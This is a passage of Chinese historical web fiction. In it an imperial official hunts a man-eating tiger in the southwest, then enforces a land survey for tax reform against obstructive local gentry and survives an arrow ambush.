当时外祖获罪、母妃失宠,后宫是倾轧之所日子怎么会好过?当时四哥刚丧了第一子,如今的东宫太后,当时的皇后娘娘伤心欲绝,根本不管后宫之事。 母妃脾气烈,不会苟且偷生,且外祖之罪尚有疑点,她就想以此种方式叫陛下重查案件。 结果她猜错了,她万万想不到一个好面子的皇帝是如何无情。 而一个小孩儿,没了母妃庇佑又如何活得下来? 幸得西宫太后怜惜他,把他养在身边寥作慰藉,也幸得皇考与他还有几分父子亲情在,虽不管不顾,倒也没有刻意作践。 十四岁嫡妃进门,没过两年就染上疾病去世,此后皇考也未管他,十余年未有嫡妃,家中一应事务都是侧妃打理,与他同甘共苦多年,唯留有一子,叫他如何割舍? 此时不断提起往日之事,也是为叫皇帝怜惜。 谁知皇帝冷嗤一声,“朕抚育过的孩子多了,太子也是朕身边长大的,礼王、和王的小哥儿也在宫里养育,他们可都没封世子,朕也从未因情废法。” “且他在朕跟前也不过一年,煜儿在朕身边足有五年,惠爱眷顾非你的王世子可比,若要这样论,该给煜儿封世子才对。” 长乐王见他不为所动,只低着头不说话,想着实在不行就去求母后,皇帝却觉得没意思起来,到底松了口,“这回儿是马夫也就算了,把他圈禁在家中以示惩戒,倘若再有下次就废了他世子的称号。” 长乐王这才露出了笑模样谢恩,皇帝又问:“一直叫你管着尚书房,方叙墨荐上来的席翱怎么样?能教得了奴奴吗?” “席翱本就是进士出身,教导奴奴绰绰有余,他还真有两把刷子,上来就给了奴奴下马威,把他前些日子闹出家的事儿好好说了一通,臣瞧着小王爷真是知错了。” “他的学问也是好的,臣带着小王爷来的时候问了点儿诗书,句句都答在点儿上,比他早启蒙的兄弟也是不差。” 皇帝这才展颜一笑,“那方叙墨此次还算有功。”他吩咐人给方叙墨带些赏赐去,自己从案边的抽屉中取出一个黑漆描金小匣,从其中捻了一颗丹药入口,囫囵吞了。 长乐王担忧道:“陛下用药也太频繁了,总是些对身子不好的东西,少用为妙。” “西北的阿速勒往穹迦逃窜还没堵住,西南改土归流刚成摊丁入亩又受阻,东南和外夷的贸易、东北开荒的事宜,朝堂上这些事儿不处理完朕怎么睡得着觉?” “还得管着你们这些不争气的东西,当街杀人的,闹着要出家的,偏爱儿子的……但凡叫朕少操点心,也不至于用这么多丹药。” 长乐王赶紧请罪,皇帝摆摆手叫他退下,出了乾清宫的大门郑楒琅赶紧迎上来,问道:“王爷,陛下可问咱们世子的事情了?” “能不问吗?这个杀才,造下这么大的业障,他怎么敢的?” 嘴上抱怨两句,可要是不心疼他又何至于苦苦哀求?自己给自己找了借口,“估计是有孝心,知道父亲和俞石明闹了矛盾,是打算着给本王出气,但他这法子太蠢,这回儿得圈禁了。” 郑楒琅听着狠狠松下一口气,可算是圈了起来,虽说在家中圈禁不过是换了个地方享福,但能叫他不出去闯祸也好,自己身为王府的长史,这几天头发都掉了一大把。 看着还有些庆幸的长乐王,他犹疑 道:“世子这样只会损了王爷的名声,何不为小公子改封?这样也能叫世子警醒起来,好歹保全他。” 长乐王瞪他一眼,“小过而已,你说什么改封的话,以后少打这些算盘。跟本王一块儿去内阁,把给西南的旨意发下去。” 在这份旨意到南诏之前,段之缙已经在当地招募有名的猎人,和军队在案发的地区组织围山,但这虎比人还精明,从不在同一个地方多呆,狩猎完一处后立刻前往下一个地方,只留下未吃完的尸骨。 山里密密麻麻全是土兵,段之缙带着克勤和其余的几个猎人、仵作检查尸身,惊讶地发现那具男尸虽被开膛破肚,但并没有被虎吃掉什么,肢体乃至五脏六腑全然完整。 仵作搜寻一番,禀报道:“大人,受害者是被一口咬断了脖子,拖行上山的,看他的指甲和身体的状态,上山后还没有咽气,是血尽而死。他身上少的肉是狐狸一类小型的野兽吞食造成,并非是虎。” 段之缙百思不得其解,既然不饿,为什么要冒风险捕食人类。 克勤看了几眼,背着重弓沿着男子被拖行的痕迹看,而后神情凝重道:“这畜牲得赶紧抓住,它虽没吃肉,却把血都喝了!” 克勤是杀死沙那的人,现如今在汉学堂里学汉文汉书,又被训练着弓马骑射,加上天生神力又从小在林地里穿梭,乌蒙的暂任县令便特意送了他来。 段之缙上去看,果然是这样。 那虎是一口咬断了人的脖子,按理说血液定然会四溅喷洒,但这一路上血迹甚少,且开膛破肚之后周围草地上的血液也很少,应当是被舔干净了。 它是很擅长隐藏踪迹的,大家搜寻了半日,才找到零星的脚印,足有瓷盘那么大,跟着的猎户都吓了一跳。 “从没见过这么大的老虎……” “到现在也没见过真身,该不会真是天罚吧……” “好了!”段之缙打断他们,“这么多尸首怎么可能是天罚?赶紧处理了才是真的。你们都是熟练的老猎手了,有什么头绪没有?” 猎户们不说话,远处的克勤突然招手喊道:“在这儿!” 段之缙急忙带人过去,老虎泥泞的脚印浮现出来。 克勤手往东南一指,“是往那个方向去了,要不要跟?” 很快有猎户打起了退堂鼓:“这身子都冷透了,即便真是老虎也该走远了,我们跟不上。” 一个老猎人反对道:“去看看吧,小老儿在山里这么多年,大概能猜出来它的去向。” 段之缙便叫老猎户在前边带路。 只前边七八个脚印还很清晰,后边就变得遮遮掩掩难以寻找了起来,大家费力地前进,却被一条河流阻住了去路。 大河滚滚向东,一切踪迹消失不见。 老猎户说:“过河,它应该是往对岸去了。” “这河可不慢,你如何知道它会过河?” 老猎户回头睨了一眼说话的年轻人,“你怕河水,它那个块头可不怕,且虎本就擅长游泳,定然是去了河对岸。” 大家又看向段之缙,段之缙想了想,立刻叫人放船渡河,正当他要上船的时候,当地的知府和县令带着人气喘吁吁地上来。 “不是叫你们在下边安抚百姓吗?” “不好了,本地的百姓在衙门门口请神祭神,那神棍说是摊丁入亩悖反天道,所以天降灾祸,现在已经闹起来了!” “这是谁跟他们说的!”哪方的神仙降灾如此精准到位,直接点出来了摊丁入亩来? 还不等知府说,段之缙也反应了过来,谁受害最大就是谁策划的呗。 该死的…… 知府着急求道:“大人赶紧去处理处理吧,下官等实在没招儿了!” 那虎也许就在河对岸,可山下却是实打实的闹事者,段之缙思来想去,一咬牙道:“去跟他们说明白聚众哄闹、诽谤朝廷是什么罪过。”而后转头带着大家上船,下令道:“过河!” 第123章 123一行人陆陆续续过了河,果…… 一行人陆陆续续过了河,果然在河对岸发现了盘大的老虎脚印,密集分布于一处而后突然消失。 段之缙回头看看老猎户,老猎户四处搜寻一番胸有成竹道:“必是往东去了。” “你如何得知的?” “大人,这地方能在山上行走的只有一处,它渡过河之后必不会再渡河,另两个方向有下山的道路,但会直接到村庄。老虎是不会冒这么大的风险进村落捕猎的。” 段之缙看着那密集分布于一处的老虎脚印,最后散落的那些也的确指向东方,应当是往东边去了。 但他心里总有一丝消解不掉的不安,不知是怎么回事。 这一行人往东边的密林处搜寻,在他们身后的树丛中,一双黄澄澄的眼睛悄无声息地盯着,见人走远后一跃而出。 它的皮毛湿漉漉,紧贴着肉,浑身肌肉虬结,行动间肌肉一起一伏,极为狰狞。 老虎脚步悠闲地往河边走去,尾巴在身后一扫一扫,将脚印清除,最后款款步入河中,向着来处去了。 山路对于有手有脚的人自然是不好走,但对于虎却是如履平地。 它从水中出来,沿着山路飞跃而下,一丝声响也没有地走到河边。 大家都坚信着,只要不上山老虎就不会下山,因为它不敢在人群聚集的地方捕猎。 且这虎的习性也被琢磨得差不多,它不会连续在同一个地方杀人,因而河边是浣衣的妇女,成群的小孩儿在这里戏水。 通黄带黑纹的皮毛掩藏在密林中,安静地观察着,等着太阳渐渐下山,浣衣的人少了,它的肚皮也饿了才悠闲地走出,步履款款地出现在十几个人面前。 如一个屠户,在自己的羊群中细致地挑选,它甚至狡黠地等候着,一直到人反应过来,惊声尖叫四散奔逃才不紧不慢地追赶,将最后的那个人扑倒在地。 嘎嘣一声,头颅半吊着,一副身体又被拖上山,在树旁,一个被吓呆了的,自始至终没能动的女孩儿瞬间跌坐在地。 这头巨大的虎终于露出了真身。 …… 猛虎下山吃人的事情在当地掀起了巨大的骚乱,那可怖的虎身已经超出了人的认知范围,尤其是上山围剿的军队和猎户明明追着它往东边去了,它却又出现在了当地。 人不能想象动物的狡黠,因为动物一直是他们捕杀的对象,而所有在人理解范围之外的都被民众赋予神格,被老虎侵扰过的地方不顾官府的反对,建起了虎神庙,每日祭祀甚至准备贡献童男童女,以平息虎神的愤怒。 同时,摊丁入亩引来灾祸的传言甚嚣尘上。 段之缙焦头烂额,一边叫当地的衙门强行破拆邪神庙宇安抚百姓,一边加紧追踪。 这虎却精得脱离了动物的范畴,凡人以牛羊犬马设下的陷阱它就会远远避开,甚至有一次被庞大的开膛破肚的马身吸引忍不住凑 上前,就在克勤张弓搭弦之际鼻头耸动一番,又一个大跳消失不见,只留匆忙射出去的重箭击穿了石头。 皇帝的圣旨到来时,段之缙仍被那虎耍得团团转,山连着山,围山的军队屡屡漏掉一些地方而叫虎逃过。 到快过年的时候,死伤已经有一百余人,克勤成日盯着虎的狩猎范围,终于琢磨出了门道。 “大人,如若你信得过我,咱们就去凤栖山等着它。” 段之缙道:“你总得给我个理由。” 上一次那样老练的猎户都揣摩错了,这一次更得慎之又慎。 现在跟着虎的屁股走,正月里一定能追上,可若偏离了这虎,再找到它的时候又得重新追击。 克勤拿出来山势图,“大人请看,现在它能去捕猎的地方就只有四个,分别是小冯村、石桥庄、栖凤庄和火家寨。叫小冯村、石桥庄和火家寨的人都在家中不要出来,火铳手围守村寨。倘若老虎真的不要命来这里猎食,那正好把它射杀。但就以往的经验,它是躲避着火铳和弓弩行走,这次也大概率会放弃。” “而一旦放弃了这三个村寨,百里之内除了栖凤庄再没有人烟。栖凤庄东南有一条小河是浣衣之用,咱们在那里伪装浣衣以静制动,除非它真是天神下凡否则定然上当。如果能将它当场射死最好,但如果不能就把它赶到山上,我们也能彻底封死山路。” 栖凤山是一个较为独立的山头,只要守好了现在这条路就切断了一切去往其他山头的通道。 段之缙和几个猎户、军队里的军官商议,都觉得可行,于是安排下去,围守其他村寨,在栖凤村设置陷阱。 这时候有一猎户问:“浣衣的人叫谁来演?咱们这些人浣衣,虎敢下来吗?” “要不要从村子里找女人出来?” “可她们不一定能愿意呀。” 段之缙道:“先试一试吧。” 到了栖凤庄问了一顿,大家都吓得惊慌失措纷纷拒绝,段之缙不能强求只好作罢,就在这个时候,一个女孩突然出来喊道:“大人,我愿意去!” 村长将她扯到后边嗔骂:“兔崽子你不要命了?那是神仙,人怎么能干的过祂?” 段之缙咳嗽一声,村长讪讪一笑,还是把女孩儿藏到后边。 女孩儿强挣出来,嚷道:“这样的畜牲也敢叫神仙?你们信我可不信。它吃了夏夏就得偿命!” 村长死拽着她不放,段之缙问道:“这是谁家的孩子?” 村长道:“是小人的孙女。”说着又怕段之缙叫这样小的孩子去冒险,求道:“家里就这么一个女娃,求求大人别叫她去。” “这你放心,你就算答应,我也不会叫她去做诱饵。这样吧,我跟大家买些穿旧了的女人衣服,要没洗过的,越脏越好。还请老婆婆们给我们这些人梳梳头,装扮一番。” 大家这才答应下来,段之缙扯了几个身量小的土兵装扮装扮,把胡子剃了头发挽成妇人髻,虽怪异些但因着底层妇女没银钱涂脂抹粉,且衣服多是便于劳动的款式,倒没有十分滑稽。 古怪而后缩手缩脚的样子冲淡了一点儿沉重的氛围,其余设伏的人上树蹲守,足足守了七八天,那虎终于到来了。 这七八天里被打扮起来的土兵每日在冰水里浣衣,整个村子的衣服都要叫他们洗完,于是看着自己泡得泛白水肿的手抱怨道:“遭天谴了,这虎这么长时间不吃饭它就不饿吗?咱们还要洗到几时?” “我倒是想叫它别来,万一树上那些人靠不住,咱们可就送入虎口了。” “别瞎想,大家都是过命的兄弟,不能靠不住。” 于是大家又恨恨地搓起来。 远处一只斑斓大虎凝神望着,这几日它游走了两个地方都不能得手,现在已经饥渴难耐,眸子暴狞,凶相毕露。 它急不可耐地从山头上走下,这样的狩猎场景已经有了经验,所以虽然饥饿,但它并不十分躁动,因为它很清楚一定能得手。 一步步接近,老虎并没有察觉到什么,只紧紧盯着浣衣的人。 树上的土兵也已经眺到了那个黄点儿,紧张地看着黄点儿越来越大,紧紧攥着手里的火枪。 再凑近一点儿…… 所有人的心都跳到了嗓子眼儿,子弹早就填装好,等着那虎越来越近,眼见着已经进入了射程,大家的手也移到了扳机上。 就差最后一点儿了。 老虎逼近,脚步突然顿住,它的鼻子在空气中细细地耸动着,最后神情变得焦躁不安,一转身又回了林子。 段之缙用千里眼看到后赶紧放信号弹叫人让兵士们立刻封山,想破脑袋也想不出它为什么会走。 它到底发现了什么? 克勤将火铳拿在手里仔细端详,最后气道:“火药的味儿盖不住!把它惊跑了!” 大家顿觉心志不在,可它究竟如何认识这个味道?军队从未和它交锋过啊! 思来想去只有一个答案,“它之前是见过火药的威力,这才屡屡背着军队走,从来没有和咱们撞上过。” 段之缙苦想一番,“有办法,但是就看你们敢不敢了。” “虎已经在山上,山也已经围了起来,叫一堆人敲锣打鼓放火铳,虎定然会在暗中观察,咱们就在背后偷袭它。只是有一点,埋伏的人不能太多火铳也不能带,你们谁敢去?” 那么大的一只老虎,猎人们望着都害怕,土兵们一听要几个人肚子前往也纷纷打消念头,就准备着看哪个倒霉蛋被选中了。 克勤毛遂自荐道:“叫我去!十力的重弓只有我能拉开,这么长时间我也学会了追踪虎迹,这一次定然叫它有来无回!” 因为事涉重大,段之缙作为总督定然要冲在最前线,又从军中选了一名弓箭手,三个人一起上山。 前边在敲锣打鼓放信号弹吸引老虎的注意力,克勤在后边搜寻老虎的踪迹,一个白天都是只见其踪不见其影,用兽皮裹着在野外睡了一觉,吃了些冷硬的干粮就又开始找。 第二天下午,前边的小队到了山谷前,那老虎正蹲在山谷处观察,段之缙等人就在它的身后。 十力桦皮巨弓简直和人一般长,克勤把利箭搭上,抿紧嘴唇,额上青筋暴起,弯弓如满月,而后利刃破空而出,那虎若有所觉回身来看,奋力一避,原本瞄准它头颅的箭矢只射中了后腿,直直地穿了过去。 一声震颤山林的虎啸声将人的五脏六肺吼得乱颤,老虎将扑未扑最后选择放弃,往林子中窜,克勤紧追两步又是一箭,直接射裂了它的头骨,巨大的身子轰然落地。 等段之缙上去查看的时候,它才刚刚咽下最后一口气。 第124章 124段之缙放出信号弹…… 段之缙放出信号弹,山前作势的人很快找到了这里。 这只大到有些恐怖的老虎是一只雄虎,猎人们仔细查看了它的牙、腿和身躯各处,发现其左上犬齿断了一半,右腿有一块儿地方秃了,是炸药留下来的伤痕。 “应该是开山采矿,用□□炸山的时候被炸药波及,难怪它对火药的气味儿如此敏感。” 它的牙不知为何断的,但就是这一截儿断齿叫它难以在林中生存,只好冒风险去捕食人类。 而后捕杀成性,竟然在与人纠缠的过程中生出如此多的心眼儿。 这只巨虎被抬到了当地的府衙展示,为平息民愤,又将其当场剥皮拆骨,肉、骨、牙都被分发下去,皮毛也被剪成小块儿分给受害者的亲属。 段之缙作为上官,又是主持杀虎的人,百姓将两颗犬齿献上,知府道:“虎牙是避凶镇邪的东西,能保小儿不惊,平平安安长大,大人拿回去给令公子佩上。” “这真能保小儿平安?” “祖祖辈辈流传下来的说法,吃人的老虎身上煞气重,一切病神凶祟不敢靠近。无论真假图个吉利。” 段之缙很快给这两个虎牙找好了去路,霓丫头家那个小子身子不好,这颗完整都给他,镇凶去灾。自己的那个小子轻易不会被吓着,但图个好兆头,把断了的这颗给他。 段之缙将两颗虎牙拿好回到总督衙门,叫包诸将事情具折上奏,各地文书又扑了他一面。 沈白蘋对他说期间发生的事情:“明年打春的时候主要纳田赋的府县就全都摊丁入亩了,还剩下几个府县都不打紧,能慢慢来。这些日子农闲,许多占地多的人家都把土地挂到了当地的县衙出售,还有许多人家分了家。” 人丁钱现在按户计算,单个户所有的土地越少越容易逃避人丁钱,而人口不那么多,或是不想便宜了支系的就选择卖地,把土地控制在五千亩或者一千亩之下,因为一时间大量土地抛售,地价竟为之一降,真是几十年不遇的好事儿。 现在各个府县,不说人人都有土地,只要家有有一二余钱,再四处借一借总能置办下一两亩薄田,百姓们也再不把摊丁入亩当做天降的祸事。 再加上之前老虎被传得神乎其神,流传开来竟把那畜牲说成了凶神下世,足有小山那般庞大,段之缙则神力无穷,一箭刺死了凶神,还百姓们安宁。 “现在各地已经造庙,造生祠的了,我们要如何是好?” 这个事儿不好说,百姓们给你造庙、生祠,说明你地方官当得好,是抬举你,在皇帝面前说一说,也是为官的政绩。 但皇帝和皇帝又不同了,有些皇帝体察民意,自然能理解百姓们爱戴一方父母官的真心。 有些皇帝却只有一个反应——造生祠?你要造反啊! 虽说纪禅对此不甚敏感,但这功劳毕竟不是段之缙的,应当归属于克勤,那个土族的小伙子拉开十力大弓射杀猛虎。 因而段之缙道:“叫衙门去劝,就说本是分内之事,不敢如此。把克勤是射虎人的事情跟他们说明,但仍不许立生祠、造庙。” 文书按照他说地发下去,段之缙将那两颗打磨好,已经钻孔吊起来的虎牙拿出,展示给沈白蘋看。 “知府说虎牙能镇灾去凶,这颗断了的给锁儿,那颗完好的给小外甥。” “这东西未免太凶,给小外甥之前得算一算命,别叫虎牙冲了他。” “你说得是。对了,京里可有什么信?” “有,母亲来信问你带回来给珠珠的是什么东西,怎个长那么大一只猫?偏还笨拙得很,这么大的一个竟不会抓老鼠,反叫老鼠吓得跟什么似的。小孩子一样什么都害怕,成日腻在人身上,惯会撒娇。” 段之缙笑道:“是了,这是贡猫,贵人们养着当爱宠的,自然要粘人漂亮。术业有专攻,何苦叫它捕鼠?” 它也是委屈了,在猫房里呆得好好的,平日里吃的用的都是上等,结果进了段家门,母亲竟要它捕鼠去了。 沈白蘋皱皱鼻子,“母亲嘴上嫌弃,可宠爱这个娇贵东西了,瞧她信上写的……连科吃得是涮过的鸡鱼肉菜,都是人剩下的,咱们段一撮成日里捕鼠,没了老鼠才赏脸吃人饭。你看这个猫儿,它吃的是新鲜的鸡肉鱼肉混上应季的蔬菜,还得剁成肉糜蒸给它吃的。若是弄到了牛肉这样难得的东西,还得叫它来品一品。” “人家到底是御猫,母亲总不能亏待了它。” 说到这儿,段一撮溜溜哒哒进来了,走到段之缙跟前儿东闻闻西嗅嗅,好长一段时间才认出是谁,肥硕的身子啪一下躺倒,肚子上的肉乱颤。 段之缙惊道:“如何这样胖了!” 沈白蘋拎起来一条猫后腿给段之缙看,段之缙恍然大悟,那两颗猫球没了,现在一撮是小公公猫。 段之缙摸摸可怜的段一撮,又问道:“可还有其他的大事?” “有。唐馥那里似乎是堵不住阿速勒了,他们越跑越往西南高地上来,圣上命苏奋将军带着人在边界围堵,大军已经出发,只是你在山里不出来便也不知道。” 这道圣旨是直接下给苏奋,虽段之缙对南诏、岺州二军有间接统辖的权力,也不能再过问了。 他颔首道:“但愿能把他困死在高地外。” 西南、西北边界之地又兴建起了大量佛寺,倘若被阿速勒突破定然会造无数杀业,对西南局势大为不利。 除了西北的事情之外,倒也没了什么大事,俱是些小旱小涝,沈白蘋反应迅速便没有酿成大灾,藩库里的银子也是每回儿将将够用,不用吃协饷。 岺州嘛,岺州年年吃协饷,哪年不吃才奇了怪。 拿着鸡羽毽子和猫儿玩了一会儿,又去接了段诠放学,段之缙处理好事情回到后衙,才跟沈白蘋说起了岺州的事情。 “等着到了年后,我就要去岺州了,那儿的摊丁入亩不好做,我住在巡抚衙门里也不知道什么时候能回来。茶山那里的事情还要你多考量,把咱们师爷往茶山投钱了的事情公布出去,引诱那些大户来投钱。再过两三年就能出茶叶,到时候有了收益对朝廷也有交代。平日的事情车慧清做得差不多,可以叫他先代为行政。” 沈白蘋应下,有些担忧地看着他,拽拽他的手叮嘱道:“有些差事一天做不完就不要堆在一天做,左右它也跑不了,歇个一日半日的也无妨。岺州摊丁入亩更为艰难,你要小心应对,千万不要着了别人的套。还要紧防他们狗急跳墙,万一……” 段之缙知道她说的意思。 岺州贫穷,田赋还是大头,占了足足六成,改土归流之后又上长到了八成,土地过万亩之家将近四十户,他们在当地盘根错节根深蒂固,不是一时的总督能够轻易对付的。 其家中子嗣又多读书,有功名在身,若对他们动手实在是抹不开颜面。 “岺州学政庞肖平为人如何尚不得知,我因着避嫌也没有拜见过他,如果他们的学生不愿意来清丈土地,就从军队中派人清丈。” 沈白蘋颔首,“反正你自己小心仔细些,我们隔得远了,叫王章照顾好你。” 段之缙答应下来,两个人一直相处到出了正月,他便启行去了岺州巡抚衙门,巡抚沈释出来迎接。 “本督来的意图你也清楚,专为陛下摊丁入亩的差事。” “下官全然知晓,部堂若有吩咐,下官一定竭尽全力。只是两省民风民情不同,岺州差事难办,部堂要小心谨慎为上。” 段之缙叫他上前就座,笑道:“这些事情本督都清楚,上次清丈土地不都能看出来吗?南诏安安分分清丈了,你们这儿越清丈越少,好似地太多又退耕还林了。” 沈释叫他一说,擦擦冷汗道:“上次都是下官的差错,实在是穷山恶水出刁民……” 上次的确疏忽大意了,就那么把册子一交,连核对都没核对,结果比前一次的土地足足少了一万余亩,总督衙门诘问的文书下来的时候,他死的心都有了。 “何以见得呢?这虽是穷山恶水,老百姓却都纯朴得很,就是恶绅地主贪得无厌,这也是你平时不善教化的缘故。” “都是下官办事不力,还请部堂多多指点。” “指点不敢当,我问你,你们这儿的学政庞肖平为人如何?你任过本省乡试的监临官,觉得叫他从府学中派人清丈土地能行吗?” 沈释大惊失色连连摆手,“万万不可啊大人!庞肖平如何另说,这岺州和别的地方不一样,穷得穷死,压根也没什么贫苦书生,最不济的家中也有三四百亩田地,好歹算得上殷实人家。部堂叫他们去清丈,这不是……定然会无功而返的。” 原来如此,段之缙道:“无妨,我从军营中调人去清丈。” 沈释鼓了鼓气,嗫 嚅道:“那大人要叫他们带好兵器,要是有火铳也得带上火铳。” “这是为何?”就是去清丈土地,又不是去平叛,带鸟枪或火铳做甚? “您不知道,这里的民风剽悍……” 段之缙又惊又怒,“这是民风剽悍吗?这是要造反!我跟着去,倒要看看他们能干出来什么事儿!” 第125章 125因为当地的学生们不可靠,…… 因为当地的学生们不可靠,段之缙便直接从本地的军营中调了兵士出来清丈,又摆了自己的仪仗跟随,起震慑的作用。 柿子先挑软的捏,瞧瞧他们的反应,头一个清丈的是遂平府,耕地虽多却不甚肥沃,因为当地的小家族们势力也不大。 清丈的时候,田埂地头上全是家丁,如树一般站在那里,一句话不说,身子却挡在田地前边,不叫士兵过去。 士兵们也不惯着他们,直接拿火铳捅到一边去,照常来回测量。 双方人陷入了诡异的沉默,段之缙站在陇上看着,这种没有起冲突的阻拦,就当作不存在。 遂平府的反抗不激烈,在春耕之前便准确地测完,比上一次测量的面积多出一千余亩,这且一看就不是新开的土地。 一千亩,就算只征收田赋也是三百两银子。 一个府少一千,岺州总计一十八府,至少少了一万八千亩,这就是五千多两,平时大涝冲毁堤坝再修建,这个花费也也不过是一万两左右。 更何况,段之缙也不相信一个府只隐瞒了一千亩的土地。 下一站是明川府,果然有不同的风气,在士兵们测量的时候地主找了些无赖来阻拦,但这可不是他们当地被腐化了的县老爷和差役大爷,叫行方便就行方便。段之缙带来的都是异地士兵,他们往常训练很有分寸,你愿意闹我就恐吓加殴打我不把你打死打伤,偏叫你疼得受不了。 后来这样也不是办法,段之缙从当地找了个神手大夫来,专做针灸,最知道扎哪个地方疼得受不了,只要逮住就当场“行刑”,一套小针下去杀猪的声音都出来了,但偏偏就是一点儿损害都没有,要说副作用,说不定有些强身健骨的好处。 震慑几次,那些无赖也就不来了。 第三批清丈同时在四个相邻的府县进行,段之缙仍在几个府之间来回走,当地倒是能得到消息,他去哪里,哪儿就安安分分,剩下三个府则难以推进,原因无他,分不清地是谁的。 界桩今儿在东边明儿在西边,已经测量完了,地主的家丁又把人叫回来,陪着笑脸说:“老爷们,昨天测得不对啊,给咱们的地测少了!” 这些士兵头一回遇见倒是实诚,还真以为是少测了又赶回去重测,结果下一回人走了,他们又来追,“老爷们还是没测对,给咱们测多了!” 只因那小木牌移动起来便利,又看不出来是否移动过,外委把总只嗔手下的人办事不力,心里却琢磨起来,留了两三个人晚上观察,却见这群王八蛋扛着界桩跑! 这谁能想到啊!土地是老百姓的根儿,界桩一立,除非发生了土地买卖,谁要是擅动就是你死我活! 事情报到段之缙那里,段之缙冷笑一声,“你们也太实诚了些,在当地停一停,叫县令带着土地册过去找你们,但别说我要来。” 翌日,他吩咐仪仗往东走,自己带着官符,只穿着一层厚实的青色棉袄便乘马车去了当地。 此时县令兜着手和外委把总说话,一句接着一句地抱怨:“我瞧着你们都测了三回了都测不明白,这差事该叫咱们县衙来做,况且这都是按时纳赋的顺民乡绅,哪有瞒报的事儿?” 段之缙气不打一处来,从背后扯住他的领子将他转过来,瞪一眼冷声道:“等着听参吧!” 知县还没反应过来,将段之缙领来的班头哭丧着脸做口型,“总督!总督!” 他接过那官符的时候吓得尿都要出来,现在眼瞧着老爷的脸一瞬间白了。 段之缙却不管他们,大声问道:“是哪一块儿地有差错!” 一个锦袍中年男子就跑了上来,他虽不知段之缙的身份,可看着县老爷那畏畏缩缩的样子便也知道这是来了大官,上来陪笑道:“大人,是我们孙家的地出了差错。” “出了什么差错?” “头一回儿我们主家的地测少了,现在我们主家的地测多了。” 段之缙伸着手问县令要土地册,问道:“你们家主叫什么名?” “我家主人名讳为孙启川。” 段之缙刷刷地翻看了起来,最后找到孙家在本县有土地三千六百八十八亩,分别散落在四处地方,现在测的正是其中一处。 “你说头一回测少了,现在又测多了,那该处应当有多少土地是你们孙家的?” “草民也不知。” 段之缙阴阳怪气道:“我瞧你个奴才都是锦衣华服,该是奴才中的大奴才才对,怎么连这点儿事儿都不知道?” 孙管家羞恼万分,但也别无他法,支吾着说不出话,“大人也说了,奴才也不过是个奴才罢了。” “那就叫你们主子来!” “我们主子出了远门,他不在家……” 段之缙忽得一笑,将手指向远处劳作的农夫说道:“倒也无妨,你们不知自己的地界在哪里,他们这些人总该知道的一清二楚。”转身吩咐道:“你去问问他们,原本的界桩应当在哪里?” 把总为难道:“下官全都问过了,他们自己全说的记不得了。” 孙管家听着一咳嗽,带了些洋洋得意在里边。 笑话,这些穷鬼怎么敢和孙家老爷对着干?说叫他们不记得,这辈子也想不起来。 段之缙故作高兴,“这下可好了!大家都记不清了无妨,衙门有记录!你们在本县只有三千六百八十八亩土地,那四处加起来总共是这个数不就得了?” 他转头向把总吩咐:“孙家的你量不出来,总土地你还量不出来吗?先把全县的土地清丈清楚,扣去孙家的三千六百左右,剩下的全是别人家的。”他又看一眼仍在懊悔的县令,“你先别急着撂挑子,到底还在任上,若你这件事干得好本督便不题参了。回去给他们重做地契,该是谁的土地就是谁的土地。” 孙管家脸色煞白,腿一软差点跪下。 孙家实际的占地可是四千余亩,这一下子少了几百亩,回去自己可就完了! 县令来回看看,也不知该不该答应。 答应下来他日后的官也不好做,不答应连官都做不了,这不做官和不好做官之间看似好抉择,实则难得很。 段之缙看明白了他的顾虑,“你放心,这是一锤子买卖,干完了就请命把你调走。” 县令一咬牙信了,自己寒窗三十余载,不能打了水漂,一拱手道:“请部堂大人放心,下官一定尽心尽力。” 现在孙管家真急了,扯出一个带着哭的笑连连打自己的嘴巴子,“真是该死了,脑子里一团浆糊把家里的大事儿给忘了,大人您瞧,我这又记起来!就是不知道我这做奴才的说的对不对,得请我们二老爷来看看。” 他说着一推身边的随从,“快去!”口上却做了“大老爷”的嘴型。 那小子也机灵,一溜烟跑了。 孙启川正在家里鉴赏前朝的字画,什么出远门不在家中,这都是忽悠官员的说辞,闲着没事儿出什么远门啊! 这时候家中的小子连滚带爬地跑了进来,“老爷出大事儿了!” “噤声!蠢材蠢材,这样好的意境全叫你这个蠢才毁了!” 孙启川可惜地嗔了几句,品了一口香茗慢慢悠悠道:“说吧,到底是什么事儿?” 小子把事情经过一说,孙启川咂咂嘴,“来的是个什么官啊?知府还是布政司?” 小子冥思苦想一番,灵机一闪道:“虽不知道是个什 么官,但听着人叫他部堂大人。” 茶水一下掀翻在桌子上,那前朝的名画也跟着遭殃,孙启川顾不得身上湿漉漉的茶渍赶紧叫人备轿。 没见识的奴才不知道“部堂”是什么意思,可他这有功名的却知道,总督来了! 奇哉怪哉,不是去了别的地方了吗? 顾不得这么多,孙启川赶到的时候段之缙已经上了马车正准备离开,他紧抢两步上去扯住马缰绳又被王章一把推开,周围的士兵纷纷围上来亮出兵器。 把总喝道:“找死啊你!” 吓死人了,幸好不是行刺的。 孙启川高声唱名:“学生孙启川拜见大人!学生有要事禀告。” 段之缙在车上打个哈欠,“孙启川?你们管家说你出远门去了啊?” “正是,只不过赶巧,学生刚刚到家。” 马车上一声冷哼,“那还真是巧得很了,有何事要禀?” “是为家中土地而来。管家不知这些事情,学生来核对一番,请大人见谅。” 段之缙叫把总去办,跟着孙启川讽几句:“你们家的地可真难测,来来回回测了三次,要不是本督来了恐怕要测第四回。不过听你自称学生,你也是有功名的人了?” 孙启川讪讪而笑,“大人见笑了,正是崇德年间中举。” “那更得配合着朝廷摊丁入亩了。” “学生明白。” 车马滚滚,带着人远去,孙管家凑到孙启川身边问道:“老爷,现在怎么办?” “先照实报,把等着回去了把事情给爷说详细了,咱们跟长宁府老刘家商量商量,叫这位总督大人跟着老刘家碰一碰吧!” 孙管家应下,当即去办。 而第三批清丈的府县自从实行了段之缙这个刁钻的法子,工作顺利地开展下去,稻熟之前完成了清丈。 第四批待清丈的府县只有一个——长宁。 这里头的劣绅也只有一个——刘双喜,祖上是土匪出身,招安成了一方豪族却劣行不改。 段之缙进长宁府的第一天就吃了一记冷箭,若不是王章扑倒了他怕是能把胳膊射个对穿。 是谁干的段之缙冥冥之中有些猜想,可一点儿证据都没有,谁放的箭,从哪放的都不知道。 整个长宁府胶左县被刘家的云拢着,一点缝儿不露。 第126章 126看箭矢的方向是从…… 看箭矢的方向是从东南楼上来的,把总带着兵丁去查,当地的知府也派出差役询问附近的店家,全都一问三不知。 也真怪,把总说要带回去用刑,平日里非刑讯不足以辩善恶的官员们竟然百般阻拦,虽段之缙也不支持带回去刑讯,可这也够叫人奇怪的了。 